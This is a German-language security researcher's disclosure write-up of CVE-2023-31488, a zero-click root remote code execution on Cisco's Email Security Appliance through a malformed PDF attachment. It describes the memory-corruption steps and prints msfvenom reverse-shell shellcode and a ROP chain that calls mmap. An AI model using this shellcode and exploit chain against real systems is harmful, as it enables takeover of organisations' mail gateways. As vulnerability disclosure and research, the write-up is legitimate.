Cisco Email Security Appliance: E-Mail zu zero-click RCE als Root - Remote Code Execution/Speicherkorruption/ROP-chain
Sicherheitsforscher: ly1g3, ly1g3[at]tuta.io
GPG-Fingerabdruck: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Übersicht: E-Mail zu Zero-Click-RCE als Root – Remote Code Execution/Memory Corruption/ROP-Kette
CVE: CVE-2023-31488
Zeitleiste:
Beim Fuzzing der Cisco Email Security Appliance (ESA) entdeckte ich eine Schwachstelle in Lexmark Perceptive Filters, die von der ESA zur Datenbereinigung von E-Mail-Anhängen verwendet werden, was zu RCE per E-Mail führt. Der Absturz tritt beim Parsen eines modifizierten PDF-Anhangs auf. Durch Ändern einer zweistelligen PDF-Objekt-ID, zum Beispiel:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Das Ändern eines Teils der ID von 13 auf etwas anderes (z. B. ein Leerzeichen) führt zu:
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Das Senden dieses modifizierten PDFs in einer E-Mail an die Cisco ESA verursacht einen Segmentation-Fault-Absturz in libISYSpdf6.so. Der Absturz wird dadurch verursacht, dass r14 ASCII-Daten enthält.
Eine genauere Untersuchung zeigt, dass diese Daten aus dem Inhalt des von uns kontrollierten PDF-Anhangs stammen. Der Wert von r14 ist Rect.
Testen, wenn Rect in AAAA geändert wird.
Da der Wert von r14 aus Daten im PDF geladen wird, können wir ihn so ändern, dass er auf eine gültige Speicheradresse zeigt. Nach dieser Anpassung tritt ein weiterer Absturz aufgrund ungültiger Daten in RAX auf. Auch diese Daten stammen aus dem PDF.
Wir modifizieren das PDF so, dass rax ebenfalls auf eine tatsächliche Adresse zeigt, und fahren fort.
Ein neuer Absturz tritt auf; jetzt enthält rsi ASCII-Daten aus dem PDF.
Wir modifizieren das PDF erneut, um eine echte Speicheradresse zu laden.
Schließlich gelangen wir zu einem sehr interessanten Teil des Codes. Hier kontrollieren wir rdi, das zum Laden eines Wertes in rax verwendet wird. Die letzte Anweisung in dieser Sequenz ist call rax. Wir machen nun gute Fortschritte in Richtung Codeausführung.
Erneut öffnen wir den Hex-Editor und ändern den in rdi geladenen Wert.
Jetzt haben wir eine Möglichkeit zur eingeschränkten Codeausführung und können zu einer einzelnen Adresse springen. Da ASLR nicht vorhanden ist, ist das Auffinden von Speicheradressen einfach. Wir kontrollieren auch rdi und verwenden daher das anfängliche ROP-Gadget libISYSshared.so: push rdi; pop rsp; xor eax, , um rdi nach rsp zu verschieben und den Stack zu kontrollieren. Wir richten den Stack auf einen Bereich, den wir in der PDF-Speicherregion kontrollieren, mit einem benutzerdefinierten Stack, der mit weiteren ROP-Gadgets vorbereitet ist.
Ein von msfvenom generierter FreeBSD-Reverse-Shell-Shellcode wird in der PDF-Speicherregion platziert. Da der Speicher jedoch nicht ausführbar ist, müssen wir ihn zuerst ausführbar machen.
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
Da wir zu diesem Zeitpunkt den Stack kontrollieren, kann dies durch die folgende ROP-Kette erfolgen, die mmap aufruft, um den Shellcode-Speicherbereich als RWX zu setzen.
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
Nachdem mmap aufgerufen wurde, führt call rsp; den NOP-Sled unseres Shellcodes aus, da die Adresse des Shellcodes als nächstes auf unserem benutzerdefinierten Stack liegt. Der Shellcode ist eine von msfvenom generierte Reverse Shell.
Interessant ist, dass dieser Code vor allen statischen Antiviren-Scans ausgeführt wird, sodass die Standard-Metasploit-Reverse-Shell problemlos funktioniert.
Wir können den folgenden POC verwenden, um ein funktionierendes PDF zu erstellen. Danach senden wir es einfach in einer E-Mail an die ESA, um RCE zu erlangen. Siehe meine anderen Schwachstellen für Privilegieneskalation.
Und damit erhalten wir eine Remote-Shell auf der ESA:
Dies war ein unterhaltsames Projekt, das mir viel über Speicherkorruptions-Schwachstellen beigebracht hat. Es zeigt auch, wie gut ein „moderner“ Speicherschutz wie ASLR ist, aber auch, dass man immer noch nicht-ASLR-Systeme da draußen finden kann.
ESA (Cisco Secure Email) Overflow-Angriff. Remote Code Execution als root.
Durch das Senden einer speziell präparierten PDF-Datei führt ein Überlauf dazu, dass ein Angreifer beliebige Remote-Codeausführung auf der ESA und anderen Produkten, die Lexmark Perceptive Filters verwenden, erlangen kann.